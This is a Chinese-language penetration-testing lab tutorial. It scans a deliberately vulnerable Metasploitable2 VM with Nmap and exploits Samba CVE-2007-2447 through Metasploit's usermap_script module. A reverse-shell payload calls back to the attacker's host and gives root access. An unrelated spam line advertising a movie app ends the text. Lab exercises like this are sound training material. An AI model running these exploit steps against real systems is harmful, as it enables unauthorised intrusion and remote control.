## 介绍 在本实验中，你将了解渗透测试的基础流程，并使用 Kali Linux 完成一次实际的漏洞利用操作。实验目标是借助一个已知的 Samba 漏洞，成功获取目标系统的远程 Shell 访问权限。通过本次练习，你可以熟悉真实渗透测试场景中的关键步骤，并掌握 Nmap、Metasploit 等常用网络安全工具的基本使用方法。 ## 设置实验环境 渗透测试通常包括以下几个核心阶段： 1. **信息收集**：尽可能全面地收集目标系统的相关信息，包括网络信息、网站内容、目录结构、潜在用户名、开放端口、运行服务、域名以及子域名等。该阶段通常会借助多种信息收集工具完成。 2. **漏洞扫描**：使用扫描工具对目标系统进行系统化检测，以识别潜在安全漏洞。既可以使用自动化漏洞扫描工具，也可以针对特定服务进行手动分析。 3. **漏洞利用**：在确认存在可利用漏洞后，使用合适的技术和工具获取更高权限或进一步控制目标系统。这一步可能涉及远程代码执行、注入攻击或其他利用方式。 4. **维持访问**：在目标系统中建立后门或持久化访问机制，便于后续再次进入系统，同时尽量降低被发现的风险。 5. **报告生成**：对整个渗透测试过程中的发现进行整理和分析，输出详细报告，说明已发现的漏洞、影响范围以及具体操作过程，帮助目标组织改进安全防护。 在了解渗透测试的基本流程之后，接下来就可以进入实际操作环节。通过动手实践，你能够将理论知识与安全工具结合起来，积累真实的渗透测试经验。 首先，你需要配置实验环境来模拟一个典型的漏洞利用场景。 实验环境由两个系统组成： 1. **Kali Linux 容器（攻击机）**：这是一个运行 Kali Linux 的 Docker 容器，用于执行扫描与攻击操作。 2. **Metasploitable2 虚拟机（目标机）**：这是一个存在多个已知漏洞的 Ubuntu 服务器，用作被测试目标。 按照以下步骤完成环境准备： 1. 启动 Metasploitable2 目标机： ```bash sudo virsh start Metasploitable2 ``` 等待目标机器启动完成，通常需要 1 到 3 分钟。 2. 使用 ping 检查目标机是否正常运行（使用 Ctrl+C 退出）： ```bash ping 192.168.122.102 ``` 3. 启动 Kali Linux 容器并进入 Bash Shell： ```bash docker run -ti --network host b5b709a49cd5 bash ``` 4. 在 Kali 容器中再次 ping 目标机，验证网络连通性（使用 Ctrl+C 退出）： ```bash ping 192.168.122.102 ``` 完成以上步骤后，攻击机与目标机都应处于可用状态，并且彼此可以正常通信。至此，你已经具备开始进行渗透测试的实验条件。 ## 执行漏洞扫描 在这一步中，你将使用 Kali Linux 中的 Nmap 工具对目标系统进行端口扫描和服务识别，以发现开放端口及其对应服务。 1. 在 Docker 容器中运行以下 Nmap 命令，对目标进行全面扫描，并将输出结果保存到 `/tmp/report.txt`。扫描过程可能需要几分钟： ```bash nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt ``` 以下是主要参数说明： - `-p 1-65535`：扫描所有端口 - `-T4`：使用较快的扫描时间模板 - `-A`：启用操作系统识别、版本识别等高级探测 - `-v`：显示更详细的输出信息 - `>/tmp/report.txt`：将扫描结果重定向保存到文件 2. 等待扫描完成。 3. 使用 `cat` 命令查看 `/tmp/report.txt` 文件内容，并分析扫描报告： ```bash cat /tmp/report.txt ``` 扫描结果会列出目标系统当前开放的端口、正在运行的服务以及可能识别出的版本信息。 4. 根据扫描结果，判断哪些服务和版本可能存在安全漏洞。 在本实验中，我们重点关注 Samba 服务。Metasploitable2 上运行的 Samba 版本存在一个著名的远程命令执行漏洞：**CVE-2007-2447**。下面是该漏洞的简要说明： - CVE: [CVE-2007-2447](https://cvedetails.com/cve/cve-2007-2447) - 受影响版本：Samba 3.0.0 - 3.0.25rc3 - 漏洞描述：该漏洞存在于 Samba 对 `username map script` 配置选项的处理逻辑中。当该选项启用时，Samba 在将用户输入传递给 `/bin/sh` 之前，没有正确过滤输入内容，攻击者可借此以 Samba 用户身份远程执行任意命令。 Samba 官方安全公告可在以下链接查看：[https://samba.org/samba/security/](https://samba.org/samba/security/) 如果要利用这个 Samba 漏洞，可以使用 Metasploit 中的 `exploit/multi/samba/usermap_script` 模块。该漏洞利用模块的源码与说明可参考以下地址：[https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb) 接下来是具体的漏洞利用步骤。首先，启动 Metasploit 控制台，在终端中输入以下命令： ```bash cd ~ msfconsole ``` 然后，在 Metasploit 控制台中加载 Samba 漏洞利用模块： ```bash use exploit/multi/samba/usermap_script ``` 在正式利用之前，需要先确认目标系统确实存在 CVE-2007-2447 漏洞，并且 139/445 端口处于开放状态，同时 Samba 版本位于受影响范围内。你可以使用 Nmap 进行验证，命令如下： 确认目标机 139/445 端口开放情况： ```bash nmap -p 139,445 192.168.122.102 ``` 确认 Samba 版本信息： ```bash nmap -p 139,445 --script smb-version 192.168.122.102 ``` 当以上条件满足后，即可在 Metasploit 中继续配置利用参数。首先，设置攻击载荷为 `cmd/unix/reverse`： ```bash set payload cmd/unix/reverse ``` 接着，配置目标 IP 地址和端口： ```bash set RHOST 192.168.122.102 set RPORT 445 ``` 然后，设置反向 Shell 回连的本地 IP 地址： ```bash set LHOST 192.168.122.1 ``` 之后，检查当前模块配置是否正确： ```bash show options ``` 最后，执行漏洞利用： ```bash exploit ``` 如果利用成功，你将获得目标系统上 root 用户的远程 Shell 会话。测试完成后，按下 Ctrl+C 并输入 `exit`，即可退出 Shell 并返回 Kali 容器环境。

免费看电影的app☜☜☜☜☜点击保存